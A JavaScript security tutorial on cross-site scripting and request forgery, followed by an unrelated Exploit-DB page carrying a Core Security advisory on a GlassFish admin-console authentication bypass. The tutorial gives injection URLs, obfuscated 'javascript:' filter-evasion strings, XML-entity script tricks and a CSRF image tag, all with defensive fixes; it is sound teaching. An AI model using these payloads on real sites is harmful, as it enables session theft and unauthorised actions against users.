3829Site navigation
3830How To Create home
3831More information
3832JavaScript tutorial - security
3833Style
3834
3835(Uses cookies to store your choice)
3836Table of contents
3837
3838What is cross site scripting
3839What is cross site request forgery
3840Who is to blame
3841How can users protect themselves
3842How do you know what type of login a site is using
3843How can Web sites protect themselves
3844Cross site scripting
3845Escaping data
3846Never trust URLs you are given
3847Being careful with scripts
3848Using HTTP-only cookies
3849Using HTTP authentication
3850Storing safer cookies
3851Allowing only certain HTML input
3852Using BB code
3853Embedding content from other sites
3854Cross site request forgery
3855Encode a session ID in the URL
3856Check referrers
3857Prompting for passwords
3858Pass unique IDs in form submission
3859Secure sites
3860What is cross site scripting
3861
3862Cross site scripting (XSS) is where one site manages to run a script on another site, with the privileges of you, the user.
3863
3864In many pages, this would be completely harmless. But now imagine that you have logged into site A, and that site has used a session cookie to store your identity. If site B manages to make you load a page on site A containing a script they have injected into it, that script could take the cookie for site A, and send it to site B. The person running site B can now use your cookie in their own browser, and can now use site A, making it think they are you.
3865
3866In the case of site A being a blog or forum, they could erase or alter your posts, add new abusive posts, or erase your account. In the case of Web mail systems, they could send abusive email to your colleagues, delete any emails, or read all the passwords you have been sent in your email, which may give them access to even more systems. In the case of it being a banking site, they could make large cash transactions using your bank account. In the case of banking or shopping sites, they could obtain your banking details, and use them to make their own purchases.
3867
3868XSS can also be a problem from users on shared sites, such as forums or blog comments, where users may find a way to inject scripts into page content, where the exploit can survive much longer than just a single page load.
3869
3870Cookies are not the only target of cross site scripting, but they are a very easy way to exploit a simple mistake made by the site author. In some cases, it may be possible to inject a script onto the login form of the site, and convince you to fill it in, and then they can make it send them your password. Or they could simply make it load another page on the site, submitting form data to it, or using other means to perform actions on your behalf.
3871
3872Unlike phishing scams where a site tries to trick users into thinking it is another site, XSS is the real site, not a fake. It has just allowed another site to run a script on it, in the context of one of its users.
3873
3874What is cross site request forgery
3875
3876Cross Site Request Forgery (XSRF or CSRF), also known as Cross Site Reference Forgery, is similar in some respects to XSS, but very different in one important respect. It does not rely at all on being able to inject a script. It is more unreliable, but its effects can be just as damaging.
3877
3878The general idea of XSRF is that while you are logged into site A, you also look at a page on site B. Site B is evil, and submits form data to site A, or requests Web pages from site A using some other means. Since you are logged into site A, it uses the form data as if you yourself sent it. That may then do all of the same things as XSS attacks, such as creating forum posts, or making bank transactions.
3879
3880Having strong passwords that cannot be guessed or calculated is always a good idea, but XSRF (and XSS) bypasses that part of the protection, as it works once the user has logged themself into the site using their strong password.
3881
3882Who is to blame
3883
3884Blame is a fairly harsh word, since it is the attacking site B that is really to blame, but evil sites are a fact of life, and site A should protect its users. XSS in particular is always the result of a mistake on the part of the site with the vulnerability. XSS is also worryingly common, many sites make the basic mistakes that allow XSS attacks.
3885
3886How can users protect themselves
3887
3888Most users are not even aware that XSS and XSRF are possible. And they should not need to be. Users should not be expected to be security experts - if they were, you as a Web developer would be out of a job. However, users who wish to protect themselves can take a few steps to do so.
3889
3890The basic step is to never open other sites while you are logged into a site. This means that while you are logged into your bank, shopping site, blog, forum, web mail, side admin section, etc., never open another site in any window. Do not click links in emails, or other applications. If you use Internet Explorer (I recommend against this if you value your security), do not run programs like Word (that includes opening attachments in email), or generally any other programs that view Web pages, as many Windows programs use the Internet Explorer engine either directly or via macros, and may be used as a vector for these attacks.
3891
3892If the site uses cookies to log you in, make sure you log out when you are finished using it. If the site does not allow you to log out, or if it uses HTTP authentication, then restart your browser. If the site uses a cookie based login but not session cookies, and does not allow you to log out, then you may find that your browser allows you to delete those cookies manually.
3893
3894The next step is to disable JavaScript while logged into a site. This may seem like a drastic measure, but it will protect against virtually all XSS (but not XSRF) attacks. Unfortunately, many sites will not allow you to use them without JavaScript, so this step may not be possible. If the site is important enough, such as a bank, but still does not allow you to disable JavaScript, then I suggest you use a different bank.
3895
3896You may also want to disable iframes if your browser (such as Opera) allows that. This step should not be necessary as long as you do not browse other sites at the same time, but if you do, it makes it a little harder for XSRF attacks to be carried out, as most (but by no means all) of them use iframes.
3897
3898All of these measures are extremely limiting, and certainly not something most users would want to do. So the final step will always be the one that is preferred: Make sure the sites you log into have actually checked their sites for XSS and XSRF attacks. Not just that they are aware that they exist, or believe they are safe, but that they have actually run checks to make sure they are protected against those attacks.
3899
3900How do you know what type of login a site is using
3901
3902Cookie logins are fairly easy to identify. They are almost always what can be seen as a form on a Web page, asking you for a username or email address and password. HTTP authentication (or similar types of authentication) are shown as a dialog that appears in its own little dialog window in front of the Web page, asking you for a username and password.
3903
3904Shopping sites almost always use either a cookie or a URL encoded session ID, and virtually never use HTTP authentication. In general, you can tell which they are using by looking at the page address. If it contains a large amount of seemingly random characters (usually near the end of the address), then it is probably using a URL encoded session ID. Otherwise it will be using a cookie.
3905
3906Working out if a cookie is a session cookie or not is a little harder. Some browsers may allow you to see the properties of stored cookies, or to prompt for them with their details when the server tries to set them. However, a simple test is to log into the site, then without logging out, close all browser windows, then restart the browser, and try reloading pages on the site. If you are still logged in, then it is not a session cookie.
3907
3908There are some alternative types of login, such as using a client certificate (which you will normally have been asked to install at some point), or IP based authentications (typically used on local intranets). It is not normally possible to log out from either of these, even by restarting your browser. In general, you can identify these either because you had been asked to install a client certificate (not a normal root certificate), or because you never had to log in in the first place.
3909
3910How can Web sites protect themselves
3911
3912These are very complex issues, and there are no simple solutions, but there are certain things that the site should always do. In almost all cases, it is server side scripting that needs to be changed or fixed.
3913
3914Cross site scripting
3915
3916This is by far one of the most common mistakes made by Web authors, and turns up on a substantially high number of sites - even those you would expect to be written by knowledgeable authors. Some even dismiss these mistakes as harmless, or trivial, ignoring the dangers of what those mistakes can present.
3917
3918The vulnerabilities themselves are not almost never created by sites having poorly written JavaScripts. XSS vulnerabilities are usually caused by a server side script that allows another site to put a new and dangerous JavaScript on the page. A site does not need to have any JavaScripts of its own for it to be vulnerable to XSS attacks.
3919
3920Let us take this simple example; somewhere on a site, there is a form that a user can fill in. If they fill it in with invalid details, the form is displayed again, with what they typed last time shown in the the form inputs, allowing them to change whatever was wrong. This is often done with login forms, although it could in fact be any form on the site while they are logged in. On its own, this is not dangerous at all, and is in fact a very good thing.
3921
3922The problem is that some sites forget to escape the data before putting it back into the form. Assume that the form had this:
3923
3924<input name="foo" value="">
3925Now assume that the site displays it to the user like this (I will use PHP here, but it could in fact be any server side language):
3926
3927<input name="foo" value="<?php
3928print $foo;
3929?>">
3930With that single, simple print command, the site has opened itself up to XSS attacks. Imagine now that the evil site uses an iframe, link, image URL or form submission to the url:
3931
3932http://goodsite.com/sillypage.php?foo=%22%3E%3Cscript%3Einsert-evil-script-here%3C/script%3E%3C%22
3933The server side script would then create this in the page source code:
3934
3935<input name="foo" value=""><script>insert-evil-script-here</script><"">
3936The implications of this are immediately obvious. The evil script could then load other pages on the site using XMLHttpRequest, even taking any URL encoded session ID into account, and in doing so it could add or change data, or make form submissions, etc. It could also read any session cookies, and send them back to the evil site as part of a URL using an iframe, image, script, stylesheet, or just about any type of external content. The possibilities are fairly limitless. This simple change would have protected the site:
3937
3938<input name="foo" value="<?php
3939print htmlspecialchars($foo);
3940?>">
3941Although forms are the most common place where this happens, it is not the only time this can be a problem. The same situation occurs if a site writes unescaped content as part of any page content - for example, many pages use a single page that writes whatever information it was passed as a page heading.
3942
3943sillypage.php?content=%3Ch1%3EPage%203%3C/h1%3E
3944Note that even if scripting is prevented by other means, an attack could, for example, display a false login form to the user, that sends the details to another site. They could also display misleading information. Though not as harmful as a XSS vulnerability, as it needs the user to be tricked into following those instructions, this is still a problem that needs to be prevented.
3945
3946Escaping data
3947
3948So the solution is to ensure that if contents like this are entered into the form, that the server side script escapes them before adding them to the page content. HTML offers a simple way to escape these; use HTML entities for < > & and " characters. Yes, for virtually all situations, this really is all it takes. PHP offers a simple function to do this; htmlspecialchars. Other languages sometimes offer ways to do this, but some do not. One of the big offenders is JSP which, to my knowledge, has no equivalent method. Authors simply do not realise they should create one for themselves. Many JSP pages are left open to XSS attacks as a result.
3949
3950It is not enough to escape just < and > characters, since quotes can be just as damaging inside an attribute. If quotes are not escaped, the attribute can be ended, and a new event handler attribute started, that triggers when the user clicks it, or focuses it, or moves their mouse over it. If you are putting the content inside an attribute, make sure the attribute uses " (double) quotes, or the attribute could also be ended simply by including a space (if using ' [single] quotes around the attribute value, make sure you tell PHP's htmlspecialchars function to convert those as well inside the attribute value).
3951
3952Form data must also be escaped before using it as part of a database query, typically by putting backslashes before quotes (again, PHP has inbuilt methods for doing this). Failure to escape it could allow people to end the query, and start a second one, deleting random data, corrupting databases, or at worst, being able to run shell commands, and take over the server. A similar situation could occur if your script uses that data to construct a shell command.
3953
3954Never trust URLs you are given
3955
3956Some pages allow a form to submit a "next URL" value, that the user will be redirected to after the data has been processed. Sometimes this is done with a Location header, but sometimes it is done with a meta refresh or JavaScript. With meta refreshes and JavaScript, if the URL that is given is a 'javascript:' URL, then the script will run. A malicious site could easily use this as a way to post scripts onto a page. Always check that URLs provided as form data start with a trusted protocol, such as 'http:' or 'https:'.
3957
3958Being careful with scripts
3959
3960In very rare cases, cross site scripting vulnerabilities are created within JavaScripts. Although far less common than server-side script mistakes, it is still possible to make equivalent mistakes in JavaScript. JavaScripts can read data passed in the URL, and must be careful how they process that data. If they assign that data to any object that accepts url values, such as the src of an image or the location object, any scripts can be injected into it.
3961
3962An example of where this usually occurs is an image gallery script, where the image to display is passed as a parameter to the page address, and a script then extracts it to display the image. If a script accepts URLs as a parameter, it must always check that the URL starts with a trusted protocol, such as 'http:' or 'https:', or it will leave itself open to this sort of attack:
3963
3964http://goodsite.com/gallery.html?showimage=javascript:evil-script-here
3965Similarly, if the data is evaluated by the page using the eval or an equivalent method, attackers can simply feed their script directly into that parameter. A script must never evaluate something passed as a parameter to the page.
3966
3967Using HTTP-only cookies
3968
3969Cookies that are set via HTTP (such as authentication cookies) are also available to scripts. One of the most common demonstrations used for cross site scripting, is taking another user's login cookie, and then performing some action as them. If the cookie was not available to scripts, they could not take them. Internet Explorer and recent versions of some other browsers allow an optional 'httponly' parameter when setting HTTP cookies, which prevents them from being accessible to scripts.
3970
3971This is not a solution, as it has only limited scope. For a start, this is only useful if all browsers support it - as I have already said, the exploit only needs to work once in one browser for it to be successful. More importantly, however, cookies are rarely used in real exploits. Someone who manages to inject a script into someone else's page is not very likely to use their cookie themselves, as that would immediately give away their IP address, making it easier to locate and prosecute them. They are far more likely to run a script there and then, to do the damage through the user themself. HTTP-only cookies give a false sense of security; they may protect some people from demonstrations, but they will not protect from real attacks.
3972
3973Of course, the main point is that it should never be allowed to get to this stage. XSS should be prevented at all costs. If you have a XSS vulnerability in your site, then cookie stealing is the least of your problems. Fix the real problem, not the symptom.
3974
3975Using HTTP authentication
3976
3977HTTP authentication is like the HTTP-only cookie, except that it works in all browsers. It still suffers from the same false sense of security, however, and in addition, no browser currently allows you to log out of it, meaning it is more susceptible to delayed XSRF attacks.
3978
3979Storing safer cookies
3980
3981Some sites take the simple approach of saving the user's username and password in the cookie. This is an instant giveaway if a XSS attack manages to get the cookie, as they have the username and password. Even if the user logs out, the attacker can log in again. It is better to store a unique session ID. That way, if they log out and the server invalidates the session, the attacker can no longer do anything with the cookie. To make it even harder for an attacker, the server can tie the session ID to the user's IP address. Attackers would have to be able to use the same IP address for them to exploit it - this is possible (for example, they may be behind the same NAT), but it makes it much harder.
3982
3983However, again, cookies are only a minor concern considering that the XSS vulnerability can be exploited in a number of ways, that do not need any cookie at all.
3984
3985Allowing only certain HTML input
3986
3987Some people want to allow certain HTML to be used, but not others. Typically, this is for forums, where users should only be allowed to enter basic HTML that does not affect other users, or blogs, where comments should only use basic HTML. This is certainly not trivial, and unless you are very experienced in avoiding XSS attacks, I suggest you leave well alone, and escape everything.
3988
3989However, if you feel that you know enough to do this, then prepare to step into a minefield.
3990
3991The basic idea is not to remove anything you think is dangerous, but to remove everything unless you know it is safe. The number of ways that scripts can be added to a document is quite staggering - some of these only work in certain browsers, but it only takes one of these to work in one browser for the exploit to be a success:
3992
3993A script tag.
3994A script tag that has a namespace prefix in its tag name;
3995<div xmlns:foo="http://www.w3.org/1999/xhtml">
3996 <foo:script>...script here...</foo:script>
3997</div>
3998Event handler attributes - these typically begin with 'on', and may have spaces before and after the '=' sign (and can also have a namespace prefix).
3999Link href (A, AREA or LINK elements, or XML processing instructions), base href, image src, input src, image usemap, form actions, input actions, xform submission actions, object data (or equivalent PARAMs such as url), object codebase, embed src, applet code, applet archive, applet codebase, iframe src, frame src, img longdesc, iframe longdesc, frame longdesc, blockquote cite, q cite, ins cite, del cite, meta refresh, meta link, body/table/th/td background, XLink URLs, DOCTYPE SYSTEM identifiers, ENTITY SYSTEM identifiers, and generally any attribute that acceps a URI value - all of which can have a 'javascript:' URL (or a 'vbscript:' URL in IE).
4000Any of those within a custom namespace.
4001Any attribute in Netscape 4 that uses JavaScript entities (or script macros) such as align="&{...script...};".
4002Any of those elements (or a parent element) using xml:base with a 'javascript:' URL as its value.
4003CSS url(javascript:...) values (these can also be in imported or linked stylesheets).
4004CSS @import "javascript:..." (these can also be in imported or linked stylesheets).
4005CSS -moz-binding or behavior (these can also be in imported or linked stylesheets).
4006CSS expression (these can also be in imported or linked stylesheets).
4007HTML style attributes that use any of those CSS methods.
4008Iframes, frames, links, etc. with 'data:' URLs of pages containing scripts (currently these are treated by some browsers - but not all - as a script from another domain, but that is not a requirement, and browsers may change in future, since a same-domain response is expected and more useful).
4009Objects, embeds or applets that then run a script on the parent page (in most browsers this is allowed without any of the usual cross domain restrictions).
4010XML entities, which can contain any other scriptable content, and hide it behind a harmless-looking entity reference:
4011<!DOCTYPE foo [
4012 <!ENTITY bar '<script xmlns="http://www.w3.org/1999/xhtml">...script here...</script>'>
4013]>
4014<foo>&bar;</foo>
4015These can also be defined in a remote file, which is loaded through a harmless-looking URL:
4016<!ENTITY bar SYSTEM "http://example.com/extra.xml">
4017Or even indirectly via a custom DOCTYPE, which then contains the entity references:
4018<!DOCTYPE foo SYSTEM "http://example.com/untrusted.dtd">
4019XSLT which creates scripts using any of the other points (XSLT itself can also be very damaging).
4020XBL which makes additional elements or attributes become scriptable.
4021XUL which contains script elements or scriptable attributes.
4022Conditional comments, which can then contain any other HTML, but appear to be only a comment.
4023Script within SVG images (or equivalent namespaced script elements).
4024XML events 'listener' elements or namespaced attributes.
4025VoiceXML and VoiceXML events.
4026XML processing instructions (like <xml-stylesheet href="javascript:...">).
4027There are certainly many other ways to put a script into a page, and that is why I call this a minefield. You absolutely must not blacklist elements or attributes you know are dangerous. You must whitelist those that you know are safe. Even seemingly safe elements such as LINK (or the related CSS @import rules) can end up importing a stylesheet from an untrusted source that contains the harmful content described above.
4028
4029As well as whitelisting elements, you must also whitelist the attributes that each of them may have. Anything that is not on your whitelist must be removed, or deliberately altered so that it no longer functions as the element or attribute it is intended to be. PHP has a function that is supposed to help do this, called strip_tags. However, this copes very badly with invalid HTML, and it is possible to bypass it by feeding it specially broken HTML.
4030
4031Stripping tags is a fine art, and can be exceptionally difficult, as you must be able to cope with intentionally broken HTML, designed so that after the tags have been stripped, what remains is another tag that was created by the removal of another one. An example would be this:
4032
4033<<script>script>...evil script...<</script>/script>
4034Stripping them multiple times would be equally uneffective (unless a matching 'while' loop was used until the tags had been removed), as they could be nested to indefinite levels, but could end up with something that browsers understand.
4035
4036Remember that "LiNk", "LINK" and "link" are all considered to be the same tag in HTML. In XHTML, namespaced elements can also be the same as non-namespaced ones. For the sake of simplicity, it is easiest to remove anything that is namespaced; if someone is trying to use a namespace in a forum post or blog comment, then they are probably trying to exploit something anyway.
4037
4038Once tags have been stripped, attributes must also be stripped, to remove any attributes that are not considered safe, or required (the HREF attribute of a link and the SRC attribute of an image are not safe, but are usually needed anyway). If there is any chance that any of your users may still be using Netscape 4, then every attribute, even if normally safe, needs to be sanitised to remove JavaScript entities.
4039
4040For removing tags and attributes, you may find it more effective to use a simple XML parser that only allows the non-namespaced tags and attributes you have decided to allow. Anything else can throw an error (make sure it does not attempt to display the rendered output in the error message, or you will be back where you started).
4041
4042Finally, now that you have only the markup you want to allow, you must now ensure that unsafe attributes have their contents sanitized so that JavaScript URLs and data URIs are removed. This can be more difficult than it sounds.
4043
4044Removing all instances of 'javascript:' will simply not be good enough. For a start, if the content initially contained something like this, removing instances of 'javascript:' will leave it with 'javascript:':
4045
4046jajavascript:vascjavascript:ript:
4047A while loop would be able to take care of that, but there are several cases where browsers can be tricked into treating something as a 'javascript:' URL, even though it does not look like one. Some may work in only a few browsers, some will work in all of them. Examples would be these:
4048
4049ja<![CDATA[vasc]]>ript:
4050jav	ascript:
4051javascript:
4052url("java\scr\ipt:...")
4053u\r\00006C\000028"\00006A\00061\0076\061\73\63\72\69\70\74\3A...")
4054The list of these is very extensive - some work in only selected browsers, but quite simply, if you intend to allow HTML, you must be able to recognise and disable all of them. See the XSS cheat sheet for a fairly complete list. Note that some browsers also support other potentially dangerous protocols. IE also supports 'vbscript:', BrowseX also supports 'tcl:', Netscape 4 also supports 'mocha:' and 'livescript:' which are synonymous to 'javascript:', several Mac browsers support 'applescript:' (although supposedly that is safe), and no doubt there are other obscure browsers that support scripting in other languages with their own protocols, such as 'cpp:'. Many browsers support the 'data:' protocol, which in some of them will be treated as a file from the current domain, and can contain scripts. Mozilla browsers support the 'jar:' protocol, which can be used to unpack individual files from zip archives, jar archives, doc files, odt files, etc., and run them in the context of the site they are stored on (due to a bug, it also does not update the context if the URL triggers a redirect), which can be a major problem if you allow arbitrary files to be uploaded or otherwise attached to the Web site, such as with Web mail. It can even refer to a zip file contained in a 'data:' URL, meaning that it does not need to be uploaded, and can all be contained within the URL.
4055
4056Future versions of major browsers may also support other potentially dangerous protocols. Remember that more ways to trick browsers into running scripts are discovered all the time, and you will need to keep your pages protected against them. An easy way to do this is to always insist that every URL a user provides must start with 'http:' or 'https:' (or 'ftp:', if you want to allow that). This is by far the best protection, as it ensures that only those safe protocols can be linked to, even if it may be slightly more inconvenient for the user to type. Other protocols you might want to consider safe are: 'mailto:', 'irc:', 'ircs:', 'gopher:', 'news:', 'nntp:', 'feed:', 'wap:', 'wtai:', 'about:', 'opera:', 'smsto:', 'mmsto:', 'tel:', 'fax:', 'ed2k:', 'dchub:', 'magnet:'. I do not recommend whitelisting streaming media protocols, for reasons given above and below. Be warned that with META refresh tags, some browsers allow multiple instances of the target URL, and any one could contain the scripted protocol.
4057
4058Failing to cope with all of these possibilities could lead to a fully fledged attack being launched against your site. The MySpace worm is a good example of the lengths that you will need to go to, to protect yourself against these attacks.
4059
4060Using BB code
4061
4062BB code is like a simplistic version of HTML. There are several variations - wikis generally have their own syntax that serves a similar purpose. The general idea is that instead of using normal HTML, the user is allowed to enter only a small selection of HTML equivalents, that are then converted into the HTML they represent, with all other content escaped.
4063
4064This makes it easier to work out what is or is not allowed - if it does not match the exact patterns, it is not converted. This can be less difficult than having to detect which parts to remove, as the parts of HTML that end up being used are generated by the server, and will not include anything that is considered dangerous.
4065
4066However, this approach still does not cover 'javascript:' URLs (or other dangerous protocols) in permitted attributes, such as link href, and image src. These will still need to be taken care of, including all the possible variations, as described above.
4067
4068Embedding content from other sites
4069
4070It is possible to use content from other sites, such as images or scripts, from other sites (a practice sometimes known as "hotlinking"), using an absolute URL:
4071
4072<img src="http://othersite.com/someimage.jpg" alt="">
4073<script src="http://othersite.com/somescript.js" type="text/javascript"></script>
4074<iframe src="http://othersite.com/somepage.html"></iframe>
4075In some cases, such as images and iframes, scripting is not a problem, since the JavaScript security model will not allow scripts on pages from one domain to interact with pages on another. However, it is not always safe. If the other site decided to abuse this situation (perhaps in order to get back at your site for wasting their bandwidth by hotlinking), they could rewrite the script hotlinked by your site, to make it do something unexpected, with as much abusive power as cross site scripting. Even with pages in frames or iframes, they could display fake login forms, or inappropriate information convincing the user to give them sensitive information. Since the content appears to the user to be part of your site, they might trust it. It is important that you do not embed content from other sites unless you really trust them.
4076
4077Plugins are also an extremely effective example. The plugin API allows plugin content to interact with scripts on the page (or create their own), without restriction. The plugin can be hosted on any domain, but if it is embedded on your page (using the OBJECT or EMBED elements, but not frames), it can run scripts as part of your page without being stopped by the JavaScript security model. This is different to other types of page content.
4078
4079In the case of Flash, there is an optional ALLOWSCRIPTING parameter that can be set to "never" which will prevent the flash movie from communicating with JavaScript, but Flash is just one of many possible plugins, and others do not have an equivalent. Embedding plugin content from other sites, or allowing users to do so, basically opens your site up to cross site scripting attacks.
4080
4081The same problem is true in reverse. If you produce plugin content, and that content has access to sensitive information, some other site may embed your content in their own page, and start interacting with it using scripts. If the information can be accessed through scripts, then it can be accessed by any page that embeds your plugin content. This is of particular importance to Flash-based shopping sites, or plugin-based security systems. The plugin itself may offer some form of protection (such as checking the hosting domain), but this is up to the individual plugin, and you should refer to that plugin's documentation for more information about protecting your content from remote scripting.
4082
4083Cross site request forgery
4084
4085XSRF attacks are based on knowing what the URL will look like, and knowing exactly what data the server expects to be passed, in order to perform an action, such as changing database data, or purchasing items.
4086
4087http://goodsite.com/delete.php?delete=all
4088They also rely on the target site thinking that the user themself submitted the form, or requested the action from the site itself, and not another site.
4089
4090Any solution must make it impossible for another site to do either of these.
4091
4092XSRF attacks also rely on the user being logged in, and to visit the exploiting page, while the attack is carried out. These conditions require a certain amount of social engineering, and the success rate will also depend on timing. However, it only needs to be successful once for the effects to be extremely damaging. The solutions I will present are not exhaustive, you may also find others, but I recommend you use a combination of these approaches.
4093
4094Some proposed solutions attempt to use multi-page forms to ensure the correct submission path is followed, and use POST instead of GET as the form method. Neither of these offers effective protection. Both make things a little harder for the attacker, but can fairly easily be circumvented. They can use a real form to get POST to work, and use timed submission in frames, iframes, or popups to simulate multi-page submission.
4095
4096Although XSRF attacks are usually referred to with two separate sites being involved, this is not a requirement. Blogs and forums are very easy targets. For example, if you post an entry on your blog, and somebody comments, they can put HTML code in the comment that causes the blog post to be deleted as soon as you look through your comments.
4097
4098<img src="http://blogsite.com/deletepost.php?id=23456">
4099These attacks can also be carried out through BB code or wiki syntax, as long as an element is allowed that has a URL value. Considering how many elements have URI values, this is a fairly reliable attack. It also has the added benefit that users will usually be logged in while viewing comments on their own blog or forum. This particular type of attack can be partially protected against by insisting that forms that request actions use POST instead of GET, but as I have already said, POST is definitely not a complete solution to the XSRF problem.
4100
4101Encode a session ID in the URL
4102
4103This is a fairly simple way to make it virtually impossible for a malicious site to predict what the URL of the target page will be. Make sure that the session ID is sufficiently long and unpredictable, so that the site cannot simply try multiple combinations until one works. 20 random characters should usually be sufficient, but you may want to use more.
4104
4105Unfortunately, this means that the site will need to generate every page to make sure that the session ID is used by every page, every link, every form (as a hidden input). It is not convenient, but it is very effective protection.
4106
4107Check referrers
4108
4109If a page containing a form or link is supposed to be the only page that can send data to a server-side processing script to request an action, then that processing page should check the referrer header to make sure that the page that requested the action was the correct page. Any requests from other pages (including if no referrer is sent, or if it is blank), should not cause any processing, and instead, should display a warning saying that the referrer header was not correct.
4110
4111Note that some browsers can disable the referrer header if the user requests it - they should be asked to enable it again. Some browsers never send a referrer header. If you intend to use the referrer header as a security precaution, then these browsers will simply not be able to use the site. It is important not to allow requests that do not have a referrer, as an exploiting site could use a trick to prevent a browser sending the header, and this must not be mistaken for a browser that never sends one.
4112
4113This on its own is not a complete solution for multi-user sites such as blogs, blog comments, or forums, as the attacker may be able to create forms or equivalent links on the page itself and convince you to click a button to initiate the action.
4114
4115Prompting for passwords
4116
4117This is a very unpopular idea, but it is a very effective way of ensuring that the user is themself, and not a page that has posted form data as that user. The form that submits data to the processing page should also have a field where the user must enter their password (yes, even though they are already logged in). If the password is not correct, then the processing page must not process the data. Attacking pages will not know the user's password, so they will not be able to fake the form submission.
4118
4119Pass unique IDs in form submission
4120
4121Instead of having to encode a unique session ID in every page, include it in a hidden input in the form that submits to the processing page. This can be the same as the user's session ID that is held in a cookie. With XSRF attacks, the attacker does not know what the user's session ID is, so they will not be able to send that part of the form data. The processing page should then check for that session ID, and if it does not find it, it should reject the submission.
4122
4123Secure sites
4124
4125Many sites, such as shopping and banking, use encrypted connections to allow users to ensure that they are talking to the correct site, and to prevent attackers from sniffing network data packets. These require a whole new level of attack (as well as the XSS and XSRF attacks), but considering the amounts of money involved, these attacks are profitable enough to be done.
4126
4127Encrypted connections do a lot more than just encrypting data sent by the user. They also encrypt pages sent to the user, and offer a certificate path that allows the user to ensure they are talking to the real site before they give it any sensitive information.
4128
4129Typical attacks would involve intercepting and rewriting a page before the user receives it. This could be done through a compromised router, for example. Another would be to use a compromised DNS server to point the user to the wrong server that pretends to be the real site - the user's address bar will of course show the correct site, and it could even be encrypted. Strictly speaking, these are not cross site scripting attacks, but the effects are the same; some content of the page is changed by a third party, so that sensitive information can be sent to them instead.
4130
4131Secure connections can deal with both of these situations. Firstly, an encrypted connection can be intercepted, but the attacker cannot read or rewrite the page content, unless they can break the encryption fast enough. This is why it is important to use high level (typically 128 bit) encryption, as it is not currently possible to break within the lifespan of the attacker. Some of the lower level older encryptions (56 bit) can be broken within just a few seconds.
4132
4133Encrypted connections also offer the ability to check the certification path. This is also virtually impossible to fake, so a user can check the certificate to make sure it is the right company. The browser can check the certification path to ensure the certificates are valid, and that the certification path is correct. Any failures will cause a browser to display warnings to the user so they are aware that the site may not be who it claims to be.
4134
4135The first and one of the biggest mistakes a site can make is to use both secure and insecure content on the same page. An attacker only needs to compromise one file in order to carry out a successful attack. If they compromise the insecure content (such as replacing a safe script file with an unsafe one), the secure content is compromised as well. This mix of content security happens on quite a few sites, and browsers usually display warnings, but are moving towards denying it altogether.
4136
4137The next most stupid mistake is to have the login form on an insecure page, that posts the login information to the secure page. It assumes that since the data is encrypted when it is sent, that everything is OK. This happens on a disturbingly high number of bank sites, especially those in the USA.
4138
4139The problem with this approach is that the user should be able to check the site is real before they give it their information. If the DNS has been compromised, they would only find that out after they have sent their login details to the wrong site. If the page has been altered by a compromised router, for example, to change the action of the form, the user would not know about it until after they sent their data to the wrong site (or if it then sent them to the real site, they would never know).
4140
4141Very occasionally, there is the problem that an encrypted site sends data - via forms, XMLHttpRequest, or any other means - to an insecure page, either directly or via a redirect. Packet sniffing and rewriting means that an attacker has immediate access to that information.
4142
4143Secure sites need to ensure that they do not make any of these mistakes, as well as not allowing XSS and XSRF attacks.
4144
4145This site was created by Mark "Tarquin" Wilton-Jones.
4146
4147
4148
4149
4150-------
4151
4152
4153Exploits Database
4154Home
4155Exploits
4156Shellcode
4157Papers
4158Google Hacking Database
4159Submit
4160Search
4161Oracle GlassFish Server Administration Console Authentication Bypass
4162EDB-ID: 17276 CVE: 2011-1511 OSVDB-ID: 73461
4163EDB Verified: Author: Core Security Published: 2011-05-12
4164Download Exploit: Source Raw Download Vulnerable App: N/A
4165« Previous Exploit Next Exploit »
41661
41672
41683
41694
41705
41716
41727
41738
41749
417510
417611
417712
417813
417914
418015
418116
418217
418318
418419
418520
418621
418722
418823
418924
419025
419126
419227
419328
419429
419530
419631
419732
419833
419934
420035
420136
420237
420338
420439
420540
420641
420742
420843
420944
421045
421146
421247
421348
421449
421550
421651
421752
421853
421954
422055
422156
422257
422358
422459
422560
422661
422762
422863
422964
423065
423166
423267
423368
423469
423570
423671
423772
423873
423974
424075
424176
424277
424378
424479
424580
424681
424782
424883
424984
425085
425186
425287
425388
425489
425590
425691
425792
425893
425994
426095
426196
426297
426398
426499
4265100
4266101
4267102
4268103
4269104
4270105
4271106
4272107
4273108
4274109
4275110
4276111
4277112
4278113
4279114
4280115
4281116
4282117
4283118
4284119
4285120
4286121
4287122
4288123
4289124
4290125
4291126
4292127
4293128
4294129
4295130
4296131
4297132
4298133
4299134
4300135
4301136
4302137
4303138
4304139
4305140
4306141
4307142
4308143
4309144
4310145
4311146
4312147
4313148
4314149
4315150
4316151
4317152
4318153
4319154
4320155
4321156
4322157
4323158
4324159
4325160
4326161
4327162
4328163
4329164
4330165
4331166
4332167
4333168
4334169
4335Oracle GlassFish Server Administration Console Authentication Bypass
4336
43371. Advisory Information
4338
4339Title: Oracle GlassFish Server Administration Console Authentication Bypass
4340Advisory ID: CORE-2010-1118
4341Advisory URL: http://www.coresecurity.com/content/glassfish_admin_authentication_bypass
4342Date published: 2011-05-11
4343Date of last update: 2011-05-11
4344Vendors contacted: Oracle
4345Release mode: User release
4346
43472. Vulnerability Information
4348
4349Class: Authentication Bypass Issues [CWE-592]
4350Impact: Security bypass
4351Remotely Exploitable: Yes
4352Locally Exploitable: No
4353CVE Name: CVE-2011-1511
4354
43553. Vulnerability Description
4356
4357Built using the GlassFish Server Open Source Edition, Oracle GlassFish Server delivers a flexible, lightweight and extensible Java EE 6 platform. It provides a small footprint, fully featured Java EE application server that is completely supported for commercial deployment and is available as a standalone offering.
4358
4359The Administration Console of Oracle GlassFish Server, which is listening by default on port 4848/TCP, is prone to an authentication bypass vulnerability. This vulnerability can be exploited by remote attackers to access sensitive data on the server without being authenticated, by making TRACE requests against the Administration Console.
4360
43614. Vulnerable packages
4362
4363 Oracle GlassFish Server 3.0.1
4364 Sun GlassFish Enterprise Server 2.1.1
4365
43665. Non-vulnerable packages
4367
4368 Oracle GlassFish Server 3.1
4369 Contact Oracle for patches for other GlassFish versions
4370
43716. Vendor Information, Solutions and Workarounds
4372
4373Oracle notifies that GlassFish Server 3.1 was released in March 2011 and was fixed before release, so it is not affected. Oracle also notifies that patches for previous versions will be available in July, 2011. As a policy, Oracle does not provide workarounds unless they can be easily applied by every customer.
4374
43756.1. Workaround by Core Security
4376
4377For users who cannot upgrade to the latest patched version, the following workaround can be applied in order to avoid this flaw:
4378
4379 In the GlassFish Admin Console, go to the Tasks tree.
4380 Navigate through: Network Config > Protocols > admin-listener > HTTP.
4381 There is a checkbox "Trace: Enable TRACE operation" (checked by default); uncheck it and then save changes.
